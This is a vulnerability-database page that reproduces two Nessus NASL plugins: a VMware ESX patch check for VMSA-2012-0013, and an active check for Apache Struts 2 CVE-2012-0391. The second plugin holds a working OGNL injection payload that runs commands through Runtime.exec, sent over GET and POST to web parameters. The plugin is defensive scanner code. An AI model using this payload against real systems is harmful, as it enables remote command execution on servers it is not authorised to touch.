Vulnerabilities > CVE-2012-0391 - Improper Input Validation vulnerability in Apache Struts

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from VMware Security Advisory 2012-0013. 
# The text itself is copyright (C) VMware Inc.
#

include("compat.inc");

if (description)
{
  script_id(61747);
  script_version("1.56");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/07/30");

  script_cve_id("CVE-2009-5029", "CVE-2009-5064", "CVE-2010-0830", "CVE-2010-2761", "CVE-2010-4180", "CVE-2010-4252", "CVE-2010-4410", "CVE-2011-0014", "CVE-2011-1020", "CVE-2011-1089", "CVE-2011-1833", "CVE-2011-2484", "CVE-2011-2496", "CVE-2011-2699", "CVE-2011-3188", "CVE-2011-3209", "CVE-2011-3363", "CVE-2011-3597", "CVE-2011-4108", "CVE-2011-4109", "CVE-2011-4110", "CVE-2011-4128", "CVE-2011-4132", "CVE-2011-4324", "CVE-2011-4325", "CVE-2011-4576", "CVE-2011-4577", "CVE-2011-4609", "CVE-2011-4619", "CVE-2012-0050", "CVE-2012-0060", "CVE-2012-0061", "CVE-2012-0207", "CVE-2012-0393", "CVE-2012-0815", "CVE-2012-0841", "CVE-2012-0864", "CVE-2012-1569", "CVE-2012-1573", "CVE-2012-1583", "CVE-2012-2110");
  script_bugtraq_id(40063, 44199, 45145, 45163, 45164, 46264, 46567, 46740, 47321, 48383, 48802, 49108, 49289, 49626, 49911, 50311, 50609, 50663, 50755, 50798, 50898, 51194, 51257, 51281, 51343, 51366, 51439, 51467, 51563, 52009, 52010, 52011, 52012, 52013, 52014, 52015, 52016, 52017, 52018, 52019, 52020, 52107, 52161, 52201, 52667, 52668, 52865, 53136, 53139, 53158, 53946, 53947, 53948, 53949, 53950, 53951, 53952, 53953, 53954, 53956, 53958, 53959, 53960);
  script_xref(name:"VMSA", value:"2012-0013");

  script_name(english:"VMSA-2012-0013 : VMware vSphere and vCOps updates to third-party libraries");
  script_summary(english:"Checks esxupdate output for the patches");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote VMware ESXi / ESX host is missing one or more
security-related patches."
  );
  script_set_attribute(
    attribute:"description",
    value:
"a. vCenter and ESX update to JRE 1.6.0 Update 31

   The Oracle (Sun) JRE is updated to version 1.6.0_31, which
   addresses multiple security issues. Oracle has documented the
   CVE identifiers that are addressed by this update in the Oracle
   Java SE Critical Patch Update Advisory of February 2012.

b. vCenter Update Manager update to JRE 1.5.0 Update 36

   The Oracle (Sun) JRE is updated to 1.5.0_36 to address multiple
   security issues.  Oracle has documented the CVE identifiers that
   are addressed in JRE 1.5.0_36 in the Oracle Java SE Critical
   Patch Update Advisory for June 2012.

c. Update to ESX/ESXi userworld OpenSSL library

   The ESX/ESXi userworld OpenSSL library is updated from version
   0.9.8p to version 0.9.8t to resolve multiple security issues.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the names CVE-2010-4180, CVE-2010-4252,
   CVE-2011-0014, CVE-2011-4108, CVE-2011-4109, CVE-2011-4576,
   CVE-2011-4577, CVE-2011-4619, and CVE-2012-0050 to these issues.

d. Update to ESX service console OpenSSL RPM

   The service console OpenSSL RPM is updated to version
   0.9.8e-22.el5_8.3 to resolve a security issue.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the name CVE-2012-2110 to this issue.

e. Update to ESX service console kernel

   The ESX service console kernel is updated to resolve multiple
   security issues.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the names CVE-2011-1833, CVE-2011-2484,
   CVE-2011-2496, CVE-2011-3188, CVE-2011-3209, CVE-2011-3363,
   CVE-2011-4110, CVE-2011-1020, CVE-2011-4132, CVE-2011-4324,
   CVE-2011-4325, CVE-2012-0207, CVE-2011-2699, and CVE-2012-1583
   to these issues.

f. Update to ESX service console Perl RPM

   The ESX service console Perl RPM is updated to
   perl-5.8.8.32.1.8999.vmw to resolve multiple security issues.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the names CVE-2010-2761, CVE-2010-4410, and
   CVE-2011-3597 to these issues.

g. Update to ESX service console libxml2 RPMs

   The ESX service console libmxl2 RPMs are updated to
   libxml2-2.6.26-2.1.15.el5_8.2 and
   libxml2-python-2.6.26-2.1.15.el5_8.2 to resolve a security
   issue.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the name CVE-2012-0841 to this issue.

h. Update to ESX service console glibc RPM

   The ESX service console glibc RPM is updated to version
   glibc-2.5-81.el5_8.1 to resolve multiple security issues.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
  has assigned the names CVE-2009-5029, CVE-2009-5064,
   CVE-2010-0830, CVE-2011-1089, CVE-2011-4609, and CVE-2012-0864
   to these issue.

i. Update to ESX service console GnuTLS RPM

   The ESX service console GnuTLS RPM is updated to version
   1.4.1-7.el5_8.2 to resolve multiple security issues.

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the names CVE-2011-4128, CVE-2012-1569, and
   CVE-2012-1573 to these issues.

j. Update to ESX service console popt, rpm, rpm-libs,
   and rpm-python RPMS

   The ESX service console popt, rpm, rpm-libs, and rpm-python RPMS
   are updated to the following versions to resolve multiple
   security issues :
      - popt-1.10.2.3-28.el5_8
      - rpm-4.4.2.3-28.el5_8
      - rpm-libs-4.4.2.3-28.el5_8
      - rpm-python-4.4.2.3-28.el5_8

   The Common Vulnerabilities and Exposures project (cve.mitre.org)
   has assigned the name CVE-2012-0060, CVE-2012-0061, and
   CVE-2012-0815 to these issues.

k. Vulnerability in third-party Apache Struts component

   The version of Apache Struts in vCenter Operations has been
   updated to 2.3.4 which addresses an arbitrary file overwrite
   vulnerability. This vulnerability allows an attacker to create
   a denial of service by overwriting arbitrary files without
   authentication. The attacker would need to be on the same network
   as the system where vCOps is installed.

   The Common Vulnerabilities and Exposures project (cve.mitre.org) has
   assigned the name CVE-2012-0393 to this issue.

   Note: Apache struts 2.3.4 addresses the following issues as well :
   CVE-2011-5057, CVE-2012-0391, CVE-2012-0392, CVE-2012-0394. It
   was found that these do not affect vCOps.

   VMware would like to thank Alexander Minozhenko from ERPScan for
   reporting this issue to us."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://lists.vmware.com/pipermail/security-announce/2012/000197.html"
  );
  script_set_attribute(attribute:"solution", value:"Apply the missing patches.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Java Applet Field Bytecode Verifier Cache Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:vmware:esx:4.0");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:vmware:esx:4.1");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:vmware:esxi:4.1");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:vmware:esxi:5.0");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/06/01");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/08/30");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/31");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"VMware ESX Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/VMware/release", "Host/VMware/version");
  script_require_ports("Host/VMware/esxupdate", "Host/VMware/esxcli_software_vibs");

  exit(0);
}


include("audit.inc");
include("vmware_esx_packages.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/VMware/release")) audit(AUDIT_OS_NOT, "VMware ESX / ESXi");
if (
  !get_kb_item("Host/VMware/esxcli_software_vibs") &&
  !get_kb_item("Host/VMware/esxupdate")
) audit(AUDIT_PACKAGE_LIST_MISSING);


init_esx_check(date:"2012-08-30");
flag = 0;


if (
  esx_check(
    ver           : "ESX 4.0",
    patch         : "ESX400-201209401-SG",
    patch_updates : make_list("ESX400-201302401-SG", "ESX400-201305401-SG", "ESX400-201310401-SG", "ESX400-201404401-SG")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.0",
    patch         : "ESX400-201209402-SG",
    patch_updates : make_list("ESX400-201305404-SG", "ESX400-201310402-SG")
  )
) flag++;
if (esx_check(ver:"ESX 4.0", patch:"ESX400-201209404-SG")) flag++;

if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208101-SG",
    patch_updates : make_list("ESX410-201211401-SG", "ESX410-201301401-SG", "ESX410-201304401-SG", "ESX410-201307401-SG", "ESX410-201312401-SG", "ESX410-201404401-SG", "ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208102-SG",
    patch_updates : make_list("ESX410-201301405-SG", "ESX410-201304402-SG", "ESX410-201307405-SG", "ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208103-SG",
    patch_updates : make_list("ESX410-201307403-SG", "ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208104-SG",
    patch_updates : make_list("ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208105-SG",
    patch_updates : make_list("ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208106-SG",
    patch_updates : make_list("ESX410-201307404-SG", "ESX410-Update03")
  )
) flag++;
if (
  esx_check(
    ver           : "ESX 4.1",
    patch         : "ESX410-201208107-SG",
    patch_updates : make_list("ESX410-Update03")
  )
) flag++;

if (
  esx_check(
    ver           : "ESXi 4.1",
    patch         : "ESXi410-201208101-SG",
    patch_updates : make_list("ESXi410-201211401-SG", "ESXi410-201301401-SG", "ESXi410-201304401-SG", "ESXi410-201307401-SG", "ESXi410-201312401-SG", "ESXi410-201404401-SG", "ESXi410-Update03")
  )
) flag++;

if (esx_check(ver:"ESXi 5.0", vib:"VMware:esx-base:5.0.0-1.25.912577")) flag++;


if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:esx_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(69240);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2012-0391");

  script_name(english:"Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution");
  script_summary(english:"Attempts to execute arbitrary commands.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to an error in the way that the ExceptionDelegator
component handles mismatched data types, an unauthenticated, remote
attacker can execute arbitrary commands on the remote host by sending
a specially crafted request order. This flaw is due to the
ExceptionDelegator interpreting parameter values as OGNL expressions
when there is a conversion error. 

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?828dc6d2");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-007.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-008.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.2.3.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-0391");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/08/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig');

vuln = FALSE;
foreach url (urls)
{
  # Grab CGI arguments for each .action file from KB
  cgi_args = get_cgi_arg_list(port:port, cgi:url);

  foreach cmd (cmds)
  {
    attack = "";
    exploit = "'+(#_memberAccess[" + '"allowStaticMethodAccess"]=true,' +
      "@java.lang.Runtime@getRuntime().exec('" + cmd + "'))+'";

    # Build a string with all CGI arguments set to the exploit string
    foreach arg (cgi_args)
    {
      attack += arg + "=" + exploit + "&";
    }
    attack = ereg_replace(string:attack, pattern:"&$", replace:"");
    attack_url = url + "?" + attack;

    # Try testing with GET first
    # attack_url should look like this example :
    # /dir/blah.action?param='+(#memberAccess["allowStaticMethodAccess"]=true,
    # @java.lang.Runtime@getRuntime().exec('id'))+'
    res = http_send_recv3(
      method : "GET",
      item   : attack_url,
      port   : port,
      exit_on_fail : TRUE
    );

    if (res[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = build_url(qs:attack_url, port:port);
      output = res[2];
      break;
    }

    # Else try testing with POST
    attack_post = urlencode(
      str        : attack,
      unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                   "56789=&_."
    );

    res2 = http_send_recv3(
      method : "POST",
      item   : url,
      data   : attack_post,
      port   : port,
      add_headers : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
      exit_on_fail : TRUE
    );

    if (res2[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = http_last_sent_request();
      output = res2[2];
      break;
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(vuln_url),
  output     : chomp(output)
);